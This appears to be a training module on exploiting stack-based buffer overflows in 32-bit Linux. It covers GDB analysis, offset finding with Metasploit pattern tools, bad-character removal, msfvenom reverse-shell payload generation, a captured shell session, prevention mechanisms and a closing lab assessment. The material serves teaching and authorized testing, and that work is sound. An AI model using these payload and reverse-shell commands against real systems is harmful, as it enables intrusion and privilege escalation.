Programs store data and instructions in memory during initialization and execution. These are data that are displayed in the executed software or entered by the user. Especially for expected user input, a buffer must be created beforehand by saving the input.
The instructions are used to model the program flow. Among other things, return addresses are stored in the memory, which refers to other memory addresses and thus define the program's control flow. If such a return address is deliberately overwritten by using a buffer overflow, an attacker can manipulate the program flow by having the return address refer to another function or subroutine. Also, it would be possible to jump back to a code previously introduced by the user input.
To understand how it works on the technical level, we need to become familiar with how:
the memory is divided and used
the debugger displays and names the individual instructions
the debugger can be used to detect such vulnerabilities
we can manipulate the memory
Another critical point is that the exploits usually only work for a specific version of the software and operating system. Therefore, we have to rebuild and reconfigure the target system to bring it to the same state. After that, the program we are investigating is installed and analyzed. Most of the time, we will only have one attempt to exploit the program if we miss the opportunity to restart it with elevated privileges.
The Memory
When the program is called, the sections are mapped to the segments in the process, and the segments are loaded into memory as described by the ELF file.
Buffer
🖼️ Figure: Memory layout diagram showing sections: .text, .data, .bss, Heap, empty space, and Stack, with memory addresses from 0x00000000 to 0xFFFFFFFF.
.text
The .text section contains the actual assembler instructions of the program. This area can be read-only to prevent the process from accidentally modifying its instructions. Any attempt to write to this area will inevitably result in a segmentation fault.
.data
The .data section contains global and static variables that are explicitly initialized by the program.
.bss
Several compilers and linkers use the .bss section as part of the data segment, which contains statically allocated variables represented exclusively by 0 bits.
The Heap
Heap memory is allocated from this area. This area starts at the end of the ".bss" segment and grows to the higher memory addresses.
The Stack
Stack memory is a Last-In-First-Out data structure in which the return addresses, parameters, and, depending on the compiler options, frame pointers are stored. C/C++ local variables are stored here, and you can even copy code to the stack. The Stack is a defined area in RAM. The linker reserves this area and usually places the stack in RAM's lower area above the global and static variables. The contents are accessed via the stack pointer, set to the upper end of the stack during initialization. During execution, the allocated part of the stack grows down to the lower memory addresses.
Modern memory protections (DEP/ASLR) would prevent the damage caused by buffer overflows. DEP (Data Execution Prevention), marked regions of memory "Read-Only". The read-only memory region is where some user-input is stored (Example: The Stack), so the idea behind DEP was to prevent users from uploading shellcode to memory and then setting the instruction pointer to the shellcode. Hackers started utilizing ROP (Return Oriented Programming) to get around this, as it allowed them to upload the shellcode to an executable space and use existing calls to execute it. With ROP, the attacker needs to know the memory addresses where things are stored, so the defense against it was to implement ASLR (Address Space Layout Randomization) which randomizes where everything is stored making ROP more difficult.
Users can get around ASLR by leaking memory addresses, but this makes exploits less reliable and sometimes impossible. For example the "Freefloat FTP Server" is trivial to exploit on Windows XP (before DEP/ASLR). However, if the application is ran on a modern Windows operating system, the buffer overflow exists but it is currently non-trivial to exploit due to DEP/ASLR (as there's no known way to leak memory addresses.)
Vulnerable Program
We are now writing a simple C-program called bow.c with a vulnerable function called strcpy().
Modern operating systems have built-in protections against such vulnerabilities, like Address Space Layout Randomization (ASLR). For the purpose of learning the basics of buffer overflow exploitation, we are going to disable this memory protection features:
There are several vulnerable functions in the C programming language that do not independently protect the memory. Here are some of the functions:
strcpy
gets
sprintf
scanf
strcat
...
GDB Introductions
GDB, or the GNU Debugger, is the standard debugger of Linux systems developed by the GNU Project. It has been ported to many systems and supports the programming languages C, C++, Objective-C, FORTRAN, Java, and many more.
GDB provides us with the usual traceability features like breakpoints or stack trace output and allows us to intervene in the execution of programs. It also allows us, for example, to manipulate the variables of the application or to call functions independently of the normal execution of the program.
We use GNU Debugger (GDB) to view the created binary on the assembler level. Once we have executed the binary with GDB, we can disassemble the program's main function.
In the first column, the hexadecimal numbers represent the memory addresses. The numbers with the plus sign (+) show the address jumps in memory in bytes, used for the respective instruction. Next, we can see the assembler instructions (mnemonics) with registers and their operation suffixes. The current syntax is AT&T, which we can recognize by the % and $ characters.
Memory Address
Address Jumps
Assembler Instruction
Operation Suffixes
0x00000582
<+0>:
lea
0x4(%esp),%ecx
0x00000586
<+4>:
and
$0xfffffff0,%esp
...
...
...
...
The Intel syntax makes the disassembled representation easier to read, and we can change the syntax by entering the following commands in GDB:
The difference between the AT&T and Intel syntax is not only in the presentation of the instructions with their symbols but also in the order and direction in which the instructions are executed and read.
Let us take the following instruction as an example:
bash
0x0000058d <+11>: mov ebp,esp
With the Intel syntax, we have the following order for the instruction from the example:
Intel Syntax
Instruction
Destination
Source
mov
ebp
esp
AT&T Syntax
Instruction
Source
Destination
mov
%esp
%ebp
5. CPU Registers
_Section group: Fundamentals_
Registers are the essential components of a CPU. Almost all registers offer a small amount of storage space where data can be temporarily stored. However, some of them have a particular function.
These registers will be divided into General registers, Control registers, and Segment registers. The most critical registers we need are the General registers. In these, there are further subdivisions into Data registers, Pointer registers, and Index registers.
Data registers
32-bit Register
64-bit Register
Description
EAX
RAX
Accumulator is used in input/output and for arithmetic operations
EBX
RBX
Base is used in indexed addressing
ECX
RCX
Counter is used to rotate instructions and count loops
EDX
RDX
Data is used for I/O and in arithmetic operations for multiply and divide operations involving large values
Pointer registers
32-bit Register
64-bit Register
Description
EIP
RIP
Instruction Pointer stores the offset address of the next instruction to be executed
ESP
RSP
Stack Pointer points to the top of the stack
EBP
RBP
Base Pointer is also known as Stack Base Pointer or Frame Pointer thats points to the base of the stack
Stack Frames
Since the stack starts with a high address and grows down to low memory addresses as values are added, the Base Pointer points to the beginning (base) of the stack in contrast to the Stack Pointer, which points to the top of the stack.
As the stack grows, it is logically divided into regions called `Stack
Frames, which allocate the required memory in the stack for the corresponding function. A stack frame defines a frame of data with the beginning (EBP) and the end (ESP`) that is pushed onto the stack when a function is called.
Since the stack memory is built on a Last-In-First-Out (LIFO) data structure, the first step is to store the previous EBP position on the stack, which can be restored after the function completes. If we now look at the bowfunc function, it looks like following in GDB:
bash
(gdb) disas bowfunc
Dump of assembler code for function bowfunc:
0x0000054d <+0>: push ebp # <---- 1. Stores previous EBP
0x0000054e <+1>: mov ebp,esp
0x00000550 <+3>: push ebx
0x00000551 <+4>: sub esp,0x404
<...SNIP...>
0x00000580 <+51>: leave
0x00000581 <+52>: ret
The EBP in the stack frame is set first when a function is called and contains the EBP of the previous stack frame. Next, the value of the ESP is copied to the EBP, creating a new stack frame.
bash
(gdb) disas bowfunc
Dump of assembler code for function bowfunc:
0x0000054d <+0>: push ebp # <---- 1. Stores previous EBP
0x0000054e <+1>: mov ebp,esp # <---- 2. Creates new Stack Frame
0x00000550 <+3>: push ebx
0x00000551 <+4>: sub esp,0x404
<...SNIP...>
0x00000580 <+51>: leave
0x00000581 <+52>: ret
Then some space is created in the stack, moving the ESP to the top for the operations and variables needed and processed.
Prologue
bash
(gdb) disas bowfunc
Dump of assembler code for function bowfunc:
0x0000054d <+0>: push ebp # <---- 1. Stores previous EBP
0x0000054e <+1>: mov ebp,esp # <---- 2. Creates new Stack Frame
0x00000550 <+3>: push ebx
0x00000551 <+4>: sub esp,0x404 # <---- 3. Moves ESP to the top
<...SNIP...>
0x00000580 <+51>: leave
0x00000581 <+52>: ret
These three instructions represent the so-called Prologue.
For getting out of the stack frame, the opposite is done, the Epilogue. During the epilogue, the ESP is replaced by the current EBP, and its value is reset to the value it had before in the prologue. The epilogue is relatively short, and apart from other possibilities to perform it, in our example, it is performed with two instructions:
Epilogue
bash
(gdb) disas bowfunc
Dump of assembler code for function bowfunc:
0x0000054d <+0>: push ebp
0x0000054e <+1>: mov ebp,esp
0x00000550 <+3>: push ebx
0x00000551 <+4>: sub esp,0x404
<...SNIP...>
0x00000580 <+51>: leave # <----------------------
0x00000581 <+52>: ret # <--- Leave stack frame
Index registers
Register 32-bit
Register 64-bit
Description
ESI
RSI
Source Index is used as a pointer from a source for string operations
EDI
RDI
Destination is used as a pointer to a destination for string operations
Another important point concerning the representation of the assembler is the naming of the registers. This depends on the format in which the binary was compiled. We have used GCC to compile the bow.c code in 32-bit format. Now let's compile the same code into a 64-bit format.
So if we now look at the assembler code, we see that the addresses are twice as big, and we have almost half of the instructions as with a 32-bit compiled binary.
However, we will first take a look at the 32-bit version of the vulnerable binary. The most important instruction for us right now is the call instruction. The call instruction is used to call a function and performs two operations:
it pushes the return address onto the stack so that the execution of the program can be continued after the function has successfully fulfilled its goal,
it changes the instruction pointer (EIP) to the call destination and starting execution there.
During load and save operations in registers and memories, the bytes are read in a different order. This byte order is called endianness. Endianness is distinguished between the little-endian format and the big-endian format.
Big-endian and little-endian are about the order of valence. In big-endian, the digits with the highest valence are initially. In little-endian, the digits with the lowest valence are at the beginning. Mainframe processors use the big-endian format, some RISC architectures, minicomputers, and in TCP/IP networks, the byte order is also in big-endian format.
Now, let us look at an example with the following values:
Address: 0xffff0000
Word: \xAA\xBB\xCC\xDD
Memory Address
0xffff0000
0xffff0001
0xffff0002
0xffff0003
Big-Endian
AA
BB
CC
DD
Little-Endian
DD
CC
BB
AA
This is very important for us to enter our code in the right order later when we have to tell the CPU to which address it should point.
One of the most important aspects of a stack-based buffer overflow is to get the instruction pointer (EIP) under control, so we can tell it to which address it should jump. This will make the EIP point to the address where our shellcode starts and causes the CPU to execute it.
We can execute commands in GDB using Python, which serves us directly as input.
Segmentation Fault
bash
student@nix-bow:~$ gdb -q bow32
(gdb) run $(python -c "print '\x55' * 1200")
Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1200")
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
If we insert 1200 "U"s (hex "55") as input, we can see from the register information that we have overwritten the EIP. As far as we know, the EIP points to the next instruction to be executed.
bash
(gdb) info registers
eax 0x1 1
ecx 0xffffd6c0 -10560
edx 0xffffd06f -12177
ebx 0x55555555 1431655765
esp 0xffffcfd0 0xffffcfd0
ebp 0x55555555 0x55555555 # <---- EBP overwritten
esi 0xf7fb5000 -134524928
edi 0x0 0
eip 0x55555555 0x55555555 # <---- EIP overwritten
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
If we want to imagine the process visually, then the process looks something like this.
Buffer
🖼️ Figure: Diagram of memory layout showing sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow indicates a buffer overflow from strcpy() in the Stack section, affecting ESP, EBP, and EIP registers.
This means that we have to write access to the EIP. This, in turn, allows specifying to which memory address the EIP should jump. However, to manipulate the register, we need an exact number of U's up to the EIP so that the following 4 bytes can be overwritten with our desired memory address.
Determine The Offset
The offset is used to determine how many bytes are needed to overwrite the buffer and how much space we have around our shellcode.
Shellcode is a program code that contains instructions for an operation that we want the CPU to perform. The manual creation of the shellcode will be discussed in more detail in other modules. But to save some time first, we use the Metasploit Framework (MSF) that offers a Ruby script called “pattern_create” that can help us determine the exact number of bytes to reach the EIP. It creates a unique string based on the length of bytes you specify to help determine the offset.
Now we replace our 1200 "U"s with the generated patterns and focus our attention again on the EIP.
GDB - Using Generated Pattern
bash
(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5...<SNIP>...Bn6Bn7Bn8Bn9'")
Program received signal SIGSEGV, Segmentation fault.
0x69423569 in ?? ()
GDB - EIP
bash
(gdb) info registers eip
eip 0x69423569 0x69423569
We see that the EIP displays a different memory address, and we can use another MSF tool called "pattern_offset" to calculate the exact number of characters (offset) needed to advance to the EIP.
GDB - Offset
bash
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
[*] Exact match at offset 1036
Buffer
🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with an offset of 1036 bytes.
If we now use precisely this number of bytes for our "U"s, we should land exactly on the EIP. To overwrite it and check if we have reached it as planned, we can add 4 more bytes with "\x66" and execute it to ensure we control the EIP.
GDB Offset
bash
(gdb) run $(python -c "print '\x55' * 1036 + '\x66' * 4")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1036 + '\x66' * 4")
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()
Buffer
🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with an offset of 1036 bytes and 4 bytes to EIP
Now we see that we have overwritten the EIP with our "\x66" characters. Next, we have to find out how much space we have for our shellcode, which then executes the commands we intend. As we control the EIP now, we will later overwrite it with the address pointing to our shellcode's beginning.
7. Determine the Length for Shellcode
_Section group: Exploit_
Now we should find out how much space we have for our shellcode to perform the action we want. It is trendy and useful for us to exploit such a vulnerability to get a reverse shell. First, we have to find out approximately how big our shellcode will be that we will insert, and for this, we will use msfvenom.
Shellcode - Length
bash
$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
<SNIP>
We now know that our payload will be about 68 bytes. As a precaution, we should try to take a larger range if the shellcode increases due to later specifications.
Often it can be useful to insert some no operation instruction (NOPS) before our shellcode begins so that it can be executed cleanly. Let us briefly summarize what we need for this:
🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with a buffer, NOPs, and shellcode, offset of 1036 bytes, and 4 bytes to EIP
Now we can try to find out how much space we have available to insert our shellcode.
GDB
bash
(gdb) run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()
Buffer
🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with a buffer of 786 bytes, 100 bytes of NOPs, 150 bytes of shellcode, and 4 bytes to EIP
8. Identification of Bad Characters
_Section group: Exploit_
Previously in UNIX-like operating systems, binaries started with two bytes containing a "magic number" that determines the file type. In the beginning, this was used to identify object files for different platforms. Gradually this concept was transferred to other files, and now almost every file contains a magic number.
Such reserved characters also exist in applications, but they do not always occur and are not still the same. These reserved characters, also known as bad characters can vary, but often we will see characters like this:
\x00 - Null Byte
\x0A - Line Feed
\x0D - Carriage Return
\xFF - Form Feed
Here we use the following character list to find out all characters we have to consider and to avoid when generating our shellcode.
Now let us have a look at the whole main function. Because if we execute it now, the program will crash without giving us the possibility to follow what happens in the memory. So we will set a breakpoint at the corresponding function so that the execution stops at this point, and we can analyze the memory's content.
We see where our "\x55" ends, and the CHARS variable begins. But if we look closely at it, we will see that it starts with "\x01" instead of "\x00". We have already seen the warning during the execution that the null byte in our input was ignored.
So we can note this character, remove it from our variable CHARS and adjust the number of our "\x55".
(gdb) run $(python -c 'print "\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 255 - 4) + "\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
Breakpoint 1, 0x56555551 in bowfunc ()
Here it depends on our bytes' correct order in the variable CHARS to see if any character changes, interrupts, or skips the order. Now we recognize that after the "\x08", we encounter the "\x00" instead of the "\x09" as expected. This tells us that this character is not allowed here and must be removed accordingly.
(gdb) run $(python -c 'print "\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c 'print "\x55" * (1040 - 254 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
Breakpoint 1, 0x56555551 in bowfunc ()
This process must be repeated until all characters that could interrupt the flow are removed.
9. Generating Shellcode
_Section group: Exploit_
We already got to know the tool msfvenom with which we generated our shellcode's approximate length. Now we can use this tool again to generate the actual shellcode, which makes the CPU of our target system execute the command we want to have.
But before we generate our shellcode, we have to make sure that the individual components and properties match the target system. Therefore we have to pay attention to the following areas:
Architecture
Platform
Bad Characters
MSFvenom Syntax
bash
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>
MSFvenom - Generate Shellcode
bash
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
Saved as: shellcode
After checking that we still control the EIP with our shellcode, we now need a memory address where our NOPs are located to tell the EIP to jump to it. This memory address must not contain any of the bad characters we found previously.
Here, we now have to choose an address to which we refer the EIP and which reads and executes one byte after the other starting at this address. In this example, we take the address 0xffffd64c. Illustrated, it then looks like this:
Buffer
🖼️ Figure: Memory layout diagram with sections: .text, .data, .bss, Heap, and Stack. Memory addresses range from 0x00000000 to 0xFFFFFFFF. An arrow shows a buffer overflow from strcpy() in the Stack, affecting ESP, EBP, and EIP registers, with a buffer of 841 bytes, 100 bytes of NOPs, 95 bytes of shellcode, and 4 bytes to EIP
After selecting a memory address, we replace our "\x66" which overwrites the EIP to tell it to jump to the 0xffffd64c address. Note that the input of the address is entered backward.
Listening on [0.0.0.0] (family 0, port 31337)
Connection from 127.0.0.1 33504 received!
id
uid=1000(student) gid=1000(student) groups=1000(student),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
We now see that we got a connection from the local IP address. However, it is not obvious if we have a shell. So we type the command "id" to get more information about the user. If we get a return value with information, we know that we are in a shell, as shown in the example.
11. Public Exploit Modification
_Section group: Proof-Of-Concept_
It can happen that during our penetration test, we come across outdated software and find an exploit that exploits an already known vulnerability. These exploits often contain intentional errors in the code. These errors often serve as a security measure because inexperienced beginners cannot directly execute these vulnerabilities to prevent harm to the individuals and organizations that may
be affected by this vulnerability.
To edit and customize them, the most important thing is to understand how the vulnerability works, what function the vulnerability is in, and how to trigger execution. With almost all exploits, we will have to adapt the shellcode to our conditions. Instead, it depends on the complexity of the exploit.
It plays a significant role in whether the shellcode has been adapted to the protection mechanisms or not. In this case, our shellcode with a different length can have an unwanted effect. Such exploits can be written in different languages or only as a description.
The exploits may be different from the operating system, resulting in a different instruction, for example. It is essential to set up an identical system where we can try our exploit before running it blind on our target system. Such exploits can cause the system to crash, preventing us from further testing the service. Since it is part of our everyday life to continually find our way in new environments and always learn to keep the overview, we have to use new situations to improve and perfect this ability. Therefore we can use two applications to train these skills.
12. Prevention Techniques and Mechanisms
_Section group: Proof-Of-Concept_
The best protection against buffer overflows is security-conscious programming. Software developers should inform themselves about the relevant pitfalls and strive for deliberately secure programming. Besides, there are security mechanisms that support developers and prevent users from exploiting such vulnerabilities.
These include security mechanisms:
Canaries
Address Space Layout Randomization (ASLR)
Data Execution Prevention (DEP)
Canaries
The canaries are known values written to the stack between buffer and control data to detect buffer overflows. The principle is that in case of a buffer overflow, the canary would be overwritten first and that the operating system checks during runtime that the canary is present and unaltered.
Address Space Layout Randomization (ASLR)
Address Space Layout Randomization (ASLR) is a security mechanism against buffer overflows. It makes some types of attacks more difficult by making it difficult to find target addresses in memory. The operating system uses ASLR to hide the relevant memory addresses from us. So the addresses need to be guessed, where a wrong address most likely causes a crash of the program, and accordingly, only one attempt exists.
Data Execution Prevention (DEP)
DEP is a security feature available in Windows XP, and later with Service Pack 2 (SP2) and above, programs are monitored during execution to ensure that they access memory areas cleanly. DEP terminates the program if a program attempts to call or access the program code in an unauthorized manner.
13. Skills Assessment - Buffer Overflow
_Section group: Skills Assessment_
We were able to gain SSH access to a Linux machine whose password was reused by another machine during our penetration test.
On this machine, we have a standard user "htb-student" who can leave a message to the administrator using a self-written program called "leave_msg." Since the target company pays a lot of attention to defense from outside their network, and the administrator's appearance showed high self-confidence, it may indicate that local security was disregarded.
After our research, we found out that these messages are stored in "/htb-student/msg.txt," which is binary owned by the user root, and the SUID bit is set.
Examine the program and find out if it is vulnerable to a Stack-Based Buffer Overflow. If you have found the vulnerability, then use it to read the file "/root/flag.txt" placed on the system as proof.